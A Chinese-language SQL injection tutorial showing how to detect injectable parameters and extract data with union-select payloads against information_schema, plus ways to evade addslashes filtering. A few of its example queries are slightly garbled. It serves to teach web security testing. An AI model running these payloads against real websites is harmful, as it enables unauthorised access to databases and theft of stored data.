SQL注入-查询注入
一、寻找注入点
- 在参数后面添加单引号或双引号,查看返回包,如果报错或者长度变化,可能存在Sql注入
- 通过构造get、post、cookie请求再相应的http头信息等查找敏感信息
- 通过构造一些语句,检测服务器中响应的异常
二、普通注入
1.数字型
-
加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';
- 对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
-
加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
- 对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;
-
加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
- 对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;
2.字符型
- 加单引号:select * from table where name='admin'';
- 由于加单引号后变成三个单引号,则无法执行,程序会报错;
- 加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;
- 因此,构造语句为:select * from table where name ='admin' and 1=--' 可成功执行返回结果正确;
- 加and 1=2— 此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;
如果满足以上三点,可以判断该url为字符型注入。
-
判断列数:
?id=1' order by 4# 报错 ?id=1' order by 3# 没有报错,说明存在3列 爆出数据库: ?id=-1' union select 1,database(),3--+ ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata# 爆出数据表: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'# 爆出字段: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'# 爆出数据值: ?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+ 拓展一些其他函数: system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 多条数据显示函数: concat()、group_concat()、concat_ws()
三、绕过addslashes
1.绕过单引号
在MYSQL中将字符串转换为16进制:select hex('learn'), 得到learn的十六进制为6C6561726E;将十六进制转回字符串:unhex('6C6561726E')得到learn
where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1
2.绕过空格
- 用注释替换空格: /**/表示一个空格
- 括号绕过空格:select(user())from dual where(1=1)and(2=2)
3.绕过等号
- 使用like 、rlike 、regexp 或者 使用< 或者 >
四、Union查询不适用的情况
- 注入语句无法截断,且不清楚完整的SQL查询语句
- 页面不能返回查询信息的时候
- web页面中有两个查询语句,查询语句的列数不同